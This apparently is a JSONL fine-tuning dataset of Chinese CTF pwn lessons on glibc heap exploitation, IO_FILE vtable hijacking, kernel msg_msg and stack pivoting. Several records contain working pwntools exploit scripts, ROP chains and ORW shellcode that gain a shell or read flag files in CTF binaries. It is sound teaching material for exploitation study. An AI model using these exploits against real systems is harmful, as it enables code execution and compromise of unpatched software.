{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fc14e78127f7f5353b8f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Fastbin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Fastbin Attack\n\nfastbin attack是一类漏洞的利用方法，是指所有基于 fastbin 机制的漏洞利用方法。它是一种经典的堆利用技术，尤其适用于`glibc`版本在 2.27 及之前（或禁用了 tcache）的情况下。\n\n在 64 位程序当中 fastbin 的范围为`0x20 ~ 0x80`（不含 0x80），32 位为`0x10 ~ 0x40`（不包含 `0x40`）\n\nptmalloc 中专门设计了 fastbin，对应的变量就是 malloc state 中的 fastbinsY\n\n这类利用的前提是：\n\n+ 存在堆溢出、UAF 等能控制`chunk`内容的漏洞\n+ 漏洞发生于 fastbin 类型的`chunk`中\n\n细分可以做如下的分类\n\n+ fastbin double free\n+ house of Spirit\n+ Arbitrary Alloc\n\n其中，前两种主要漏洞侧重于利用`free`函数释放真的`chunk`或伪造的`chunk`，然后再次申请`chunk`进行攻击，后一侧重于故意修改`fd`指针，直接利用`malloc`申请指定位置`chunk`进行攻击。\n\nfastbin_attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的，并且由 fastbin 管理的 chunk 即使被释放，其`next_size`的`prev_inuse`位也不会被清空。\n\n其`prev_inuse`位不会被清空也就意味着一般情况下 fastbin 不会进行 unlink 合并。\n\n劫持 fastbin 链表中`chunk`的`fd`指针，把`fd`指针指向我们想要分配的地址处，从而实现控制一些关键数据，比如返回地址等。\n\n`fd`指向的内存能申请出来的前提是该内存对应`size`处的值与该 fast bin 对应`size`相同。\n\n```c\n#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)\n\n/* Get size, ignoring use bits */\n#define chunksize(p) ((p)->size & ~(SIZE_BITS))\n\n/* offset 2 to use otherwise unindexable first 2 bins */\n#define fastbin_index(sz) \\\n((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)\nidx = fastbin_index(nb);\n...\n\n/* Get size, ignoring use bits */\n#define chunksize(p) ((p)->size & ~(SIZE_BITS))\nif (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {\nerrstr = \"malloc(): memory corruption (fast)\";\nerrout:\nmalloc_printerr(check_action, errstr, chunk2mem(victim), av);\nreturn NULL;\n}\n```\n\n由于这里的`size`不考虑低 3 位，并且 libc 或栈地址多数是 0x7f 开头，因此可以通过截取 0x7f 然后用 0x70 的 fastbin 将该内存申请出来。\n\n例如修改 fd 指针指向 `__realloc_hook` 前合适的偏移通常是 `__malloc_hook` 往前 0x23 的偏移），两次 `malloc(0x60)` 申请出该地址的 fake chunk 实现对 `__realloc_hook` 和 `__malloc_hook` 的控制。\n\n由于 one_gadget 可能因栈结构不满足条件而失效，可以通过修改 `__malloc_hook` 为 `realloc+偏移` ，修改 `__realloc_hook` 为 `one_gadget` 改变栈结构来获取 `shell` 。\n\n[图片: image]\n\n除了 realloc + 偏移外，还可以通过触发 malloc 报错执行 malloc 来改变栈结构。\n\n通过 free chunk 两次来触发报错指向 malloc 改变栈结构", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-edadfbd5aaf50c40", "original_line": 108, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fc4026a6254b42614dee", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「5. 覆盖 `_IO_file_jumps + 0x18` 为 one_gadget」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 5. 覆盖 `_IO_file_jumps + 0x18` 为 one_gadget\n\nexp 选择 one_gadget：\n\n```python\none_gadget = libc_base + 0xda864\n```\n\n`one_gadget` 约束为：\n\n```text\n0xda864 execve(\"/bin/sh\", r13, rdx)\nconstraints:\n  [r13] == NULL || r13 == NULL || r13 is a valid argv\n  [rdx] == NULL || rdx == NULL || rdx is a valid envp\n```\n\n覆盖内容：\n\n```python\nedit(11, 64, p64(0) * 3 + p64(one_gadget))\n```\n\n`p64(0) * 3` 让写入位置到 `_IO_file_jumps + 0x18`，也就是 FILE jump table 里的 `_IO_overflow` 槽位附近。\n\n题目把 stdout 设置为无缓冲：\n\n```c\nsetvbuf(stdout, 0, 2, 0);\n```\n\n所以程序后续执行 `puts(\"Done\")` 时，stdout 输出换行等流程会走到 vtable 的 overflow 分发。此时 `_IO_file_jumps + 0x18` 已经被改成 one_gadget，于是控制流跳到 one_gadget，执行 `execve(\"/bin/sh\", ...)`。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-3554f5ec43caaac5", "original_line": 181, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fd36202b8788268ad057", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「msgsnd发送数据调用链及方法」。\n资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### msgsnd发送数据调用链及方法\n\n调用链：通过`msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()`来分配消息头和消息的数据，接着通过`load_msg() -> copy_from_user()`来将用户数据拷贝进内核。\n\n使用方法：例如我们想要发送一个包含`0x1000个'A'`的消息，代码如下：\n\n```csharp\nstruct msgbuf\n{\n    long mtype;\n    char mtext[0x1000];\n} msg;\n\nmsg.mtype = 1;\nmemset(msg.mtext, 'A', sizeof(msg.mtext));\n\nqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));\nmsgsnd(qid, &msg, sizeof(msg.mtext), 0);\n```\n\n此外如果消息长度超过`0xfd0`，那么就会采取分段储存的方式，采用单向链表进行连接。第一个称作消息头，用`msg_msg`结构进行储存，第二个和第三个称作`segment`，用`msg_msgseg`结构进行储存。消息的最大长度由`/proc/sys/kernel/msgmax`确定，默认大小为`8192`个字节，所以最多连接三个成员。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c9df041954d6df47", "original_line": 410, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "split_group_key": "d589209c11be5b5bd758636a"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fd5e56a334ba05ececeb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "##### 原理\n\n该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放到对应的fastbin链表中，从而达到分配指定地址的 chunk 的目的。\n\n要想伪造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即：\n\n+ fake chunk 的 ISMMAP 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。\n+ fake chunk 地址需要对齐， MALLOC_ALIGN_MASK\n+ fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。\n+ fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem 。\n+ fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。\n\n想要使用该技术分配 chunk 到指定地址，其实并不需要修改指定地址的任何内容，关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。\n\n这个方法一般配合 chunk extend 共同使用构造出 overlap。\n\n如下图所示，在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。\n\n 要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即\n\n+ fake chunk 的 `ISMMAP` 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。\n\n```c\nif (chunk_is_mmapped(p)) /* release mmapped memory. */\n{\n    /* see if the dynamic brk/mmap threshold needs adjusting */\n    if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) {\n        mp_.mmap_threshold = chunksize(p);\n        mp_.trim_threshold = 2 * mp_.mmap_threshold;\n        LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,\n                    mp_.mmap_threshold, mp_.trim_threshold);\n    }\n    munmap_chunk(p);\n    return;\n}\nar_ptr = arena_for_chunk(p);\n_int_free(ar_ptr, p, 0);\n```\n\n+ fake chunk 地址需要对齐 `MALLOC_ALIGN_MASK` 。\n\n```c\n#define MINSIZE \\\n    (unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))\n#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)\n\n    /* We know that each chunk is at least MINSIZE bytes in size or a\n       multiple of MALLOC_ALIGNMENT. */\n\nif (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) {\n    errstr = \"free(): invalid size\";\n    goto errout;\n}\n```\n\n+ fake chunk 的 size 大小需要满足对应的 fastbin 的需求。\n\n```c\n#define get_max_fast() global_max_fast\n\n    if ((unsigned long) (size) <= (unsigned long) (get_max_fast())\n```\n\n+ fake chunk 的 **next chunk** 的大小不能小于 `2 * SIZE_SZ`，同时也不能大于`av->system_mem` 。\n\n```c\nif (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) ||\n    __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {\n    /* We might not have a lock at this point and concurrent modifications\n    of system_mem might have let to a false positive. Redo the test\n    after getting the lock. */\nif (have_lock || ({\n    assert(locked == 0);\n    mutex_lock(&av->mutex);\n    locked = 1;\n    chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;\n})) {\n    errstr = \"free(): invalid next size (fast)\";\n    goto errout;\n}\nif (!have_lock) {\n    (void) mutex_unlock(&av->mutex);\n    locked = 0;\n    }\n}\n```\n\n+ fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。\n\n```c\nif (__builtin_expect(old == p, 0)) {\n    errstr = \"double free or corruption (fasttop)\";\n    goto errout;\n}\n```\n\npwndbg 的 try_free 命令可以检查是否能成功 free 。\n\n\n> 例题：lctf2016_pwn200\n\n```plain\ntry_free\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d59971ffdc256f6c", "original_line": 101, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fdc78e3955b94aa6d3a5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/house of io/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/house of io/patch.sh`\n\n分类：heap\n\n语言：bash\n\n利用主题关键词：\n- heap/tcache\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nVERSION=2.27\nLIBC_NAME=libc.so.6\nLD_NAME=ld-linux-x86-64.so.2\n\ngcc pwn.c -o pwn -g\ncp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .\ncp /glibc/${VERSION}/amd64/lib/${LD_NAME} .\n\nchmod 777 ${LIBC_NAME}\nchmod 777 ${LD_NAME}\n\npatchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn\npatchelf --set-interpreter ./${LD_NAME} ./pwn\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-cf434d7303d4b08d", "original_line": 30, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/patch.sh", "split": "train", "split_group_key": "4dfd3bfb1ecfdfd88f535753"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/house of io/patch.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe1154c2b401c14f9d2b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「栈迁移orw」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 栈迁移orw\n\n> 2024hgame ezstack\n\n+ exp\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./vuln\")\np = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nsa = lambda x,y:p.sendafter(x,y)\nsla = lambda x,y:p.sendlineafter(x,y)\nia = lambda: io.interactive()\nuu32 = lambda : u32(p.recvuntil(b'\\xff')[-4:].ljust(4,b'\\x00'))\nuu64 = lambda : u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nuu64_h= lambda : u64(p.recvuntil(('\\x55','\\x56'))[-6:].ljust(8,'\\x00'))\nru = lambda x :p.recvuntil(x)\nrc = lambda x :p.recv(x)\nsd = lambda x:p.send(x)\nsl = lambda x:p.sendline(x)\nlg = lambda s : log.info('\\x1b[01;38;5;214m %s --> 0x%x \\033[0m' % (s, eval(s)))\n\npop_rbp=0x000000000040135d #: pop rbp ; ret\npop_rdi=0x0000000000401713 #: pop rdi ; ret\npop_rsi_r15=0x0000000000401711 #: pop rsi ; pop r15 ; ret\nleave_ret=0x00000000004013cb #: leave ; ret\n\nread=0x4013D5\nprint_libc=0x401376\nbss=elf.bss(0x300)\nlg('bss')\nwrite_got=elf.got['write']\npay=b'\\x00'*0x50+p64(bss+0x50)+p64(read)\nsa(b'luck.\\n',pay)\npay=p64(pop_rsi_r15)+p64(write_got)*2+p64(0x401194)+p64(pop_rbp)+p64(bss+0x200)+p64(read)\npay=pay.ljust(0x50,b'\\x00')+p64(bss-0x8)+p64(leave_ret)\nsa(b'luck.\\n',pay)\nlibc.address=uu64()-libc.sym['write']\nlg('libc.address')\npop_rdx_r12=0x0000000000119431 +libc.address#: pop rdx ; pop r12 ; ret\nmprotect=libc.sym['mprotect']\npop_rsi=0x000000000002601f+libc.address #: pop rsi ; ret\ndata_addr=0x404000\nread_plt=0x401204\npay=p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx_r12)+p64(0x200)*2+p64(read_plt)+p64(pop_rbp)+p64(bss+0x300-0x8)+p64(leave_ret)\npay=pay.ljust(0x50,b'\\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)\nsa(b'luck.',pay)\nshellcode = asm('''\n    mov r15,rdi\n    mov rax, 0x67616c662f\n    push rax\n    xor rdi, rdi\n    sub rdi, 100\n    mov rsi, rsp\n    push 0\n    push 0\n    push 0\n    mov rdx, rsp\n    mov r10, 0x18\n    push SYS_openat2\n    pop rax\n    syscall\n    mov rdi,rax\n    mov rsi,rsp\n    mov edx,0x100\n    xor eax,eax\n    syscall\n    mov rdi,r15\n    mov rsi,rsp\n    push 1\n    pop rax\n    syscall\n    ''')", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-416b379b1dd6b829", "original_line": 596, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe5c73073a02a082b1dc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Chunk Extend and Overlapping」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Chunk Extend and Overlapping\n\nchunk extend是堆漏洞的一种常见利用手法，通过 extend 可以实现 chunk overlapping 的效果。\n\nHeap Overlapping：这里的堆块重叠指的是指让一个堆块能控制另一个堆块的头部，而不是只能控制内存区域，这个条件比普通的 UAF 要强很多。\n\n- 程序中存在基于堆的漏洞。\n- 漏洞可以控制chunk header中的数据。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-300ade4817f0b870", "original_line": 64, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fe86d26212b7876049d5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 例题\n\n> wustctf2020_easyfast\n\n2.23版本的堆。\n\n\n\n`sub_4009D7`存在 UAF 漏洞。\n\n[图片: 1773505690566-737d0a79-732a-43c8-be79-eee636483a22]\n\n`sub_400896`有后门函数，但是必须`qword_602090`全局变量为 0 才会执行。\n\n[图片: image]\n\n变量默认为 1\n\n[图片: image]\n\n程序存在 edit 功能。\n\n[图片: image]\n\n我们可以通过 UAF 漏洞进行 fastbin double free，将变量地址给申请出来。然后通过 edit 功能修改变量内容。\n\n+ exp\n\n```python\n#!/bin/python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf=ELF(\"./wustctf2020_easyfast.wustctf2020_easyfast\")\nio=process(\"./wustctf2020_easyfast.wustctf2020_easyfast\")\n#io=remote(\"node5.buuoj.cn\",25822)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size):\n    sla('choice>', '1')\n    sla('size>', str(size))\n\ndef dele(idx):\n    sla('choice>', '2')\n    sla('index>', str(idx))\n\ndef edit(idx,con):\n    sla('choice>', '3')\n    sla('index>', str(idx))\n    sl(con)\n\nptr=0x602080\n\nadd(0x40)\nadd(0x40)\n\ndele(0) #进入fastbin\nedit(0,p64(ptr))\n\nadd(0x40)\n#把ptr的地址申请出来\nadd(0x40)\n\nedit(3,p64(0))\ndbg()\nsla('choice>', '4')\n\nia()\n```\n\n> 堆溢出导致的fastbin attack\n\n> HGAME 2023 new_fast_note\n\n2.31版本的堆题，但是没有编辑功能。\n\n[图片: image]\n\ndelete 功能函数存在 UAF 漏洞。\n\n[图片: image]\n\n由于`free`函数部分存在 UAF 漏洞，我们通过此进行 double free 来修改 malloc\n\n但是程序不存在编辑函数\n\n填满tcahe，然后再申请一个chunk释放后进行 unsorted bin 泄露libc地址并计算hook地址。\n\n填充tcache chunk大小小于0x90，再申请相同大小的chunk，double free之后进入 fastbin\n\n申请 tcahe 和 fastbin 前两个 chunk 为 free_hook，再申请 fastbin 中最后一个chunk，此时该chunk在free hook地址，将其内容设置为 onegadget 即可完成任意地址写。\n\n申请堆内容为`/bin/sh`，再free掉执行onegadget\n\n```plain\n\n```\n\n+ exp\n\n\n> wustctf2020_easyfast\n\n+ 分析\n\n`add`函数\n\n只能申请 4 次chunk，size 不能大于 0x78。\n\n[图片: image]\n\n`dele`函数\n\n释放后没有置零所以存在 UAF 漏洞。\n\n[图片: image]\n\n`edit`函数\n\n编辑chunk，最多可以输入8个字节。\n\n[图片: image]\n\n`backdoor`函数\n\n存在后门函数，如果全局变量为0就执行后门函数，全局变量默认为1。\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('wustctf2020_easyfast')\nlibc = ELF('./libc-2.23.so')\nio = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\n#io=remote('node5.buuoj.cn',26334)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size):\n    sla('choice>', '1')\n    sla('size>', str(size))\n\ndef dele(idx):\n    sla('choice>', '2')\n    sla('index>', str(idx))\n\ndef edit(idx,con):\n    sla('choice>', '3')\n    sla('index>', str(idx))\n    sl(con)\n\nbackdoor=0x602090-0x10\n#这里减去0x10是因为我们需要编辑0x602090的内容，即80处是chunk头部，90处是data区域\n\n#chunk0\nadd(0x40)\n\n#chunk1\nadd(0x40)\n\n#释放进fastbin\ndele(0)\n#dbg()\n\n#由于uaf漏洞的存在我们仍然可以编辑释放后的chunk\n#通过uaf漏洞将fastbin的fd指针修改为backdoor的地址\nedit(0,p64(backdoor))\n\n#将chunk0申请出来，这时候fastbin指向backdoor的地址\nadd(0x40)\n\n#再申请一次就可以将backdoor申请出来\nadd(0x40)\n\nedit(3,p64(0))#编辑backdoor的内存\nsla('choice>', '4')\n\nia()\n```\n\n> roarctf_2019_easyheap\n\n+ 分析\n\n[图片: image]\n\n`add`函数，free 函数存在 uaf 漏洞，需要指定全局变量为指定值才可以使用 show 函数。\n\n[图片: image]\n\n我们可以通过fastbin double free 将全局变量写为指定值，然后通过show函数泄露地址，再通过fastbin double free将malloc hook 申请出来，然后进行getshell。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ce124d3b413ef861", "original_line": 100, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-018158b7091ab4bcf1b9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「define __rtld_lock_lock_recursive(NAME) \\」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# define __rtld_lock_lock_recursive(NAME) \\\n  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)\n 替换:\n(({\n    __typeof(__pthread_mutex_lock) *_fn = (__pthread_mutex_lock);\n    _fn != ((void *) 0) ? (*_fn)(&(_dl_load_lock).mutex) : 0;\n}))\n```\n\n可以看到，如果 `rtld_active` 返回 true（具体看调试，因为可能存在`GLRO(dl_init_all_dirs)`不可写且为 NULL 的情况）则\n\n会调用 `_dl_addr`，最终执行 `__rtld_lock_lock_recursive (GL(dl_load_lock))` ，这个宏就是 exit hook 对应的宏，因此可以像 exit hook 那样修改函数指针就可以劫持程序流。\n\n同样的，glibc-2.34 起该方法失效。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-ec262c749b7248b2", "original_line": 270, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-ec262c749b7248b2", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
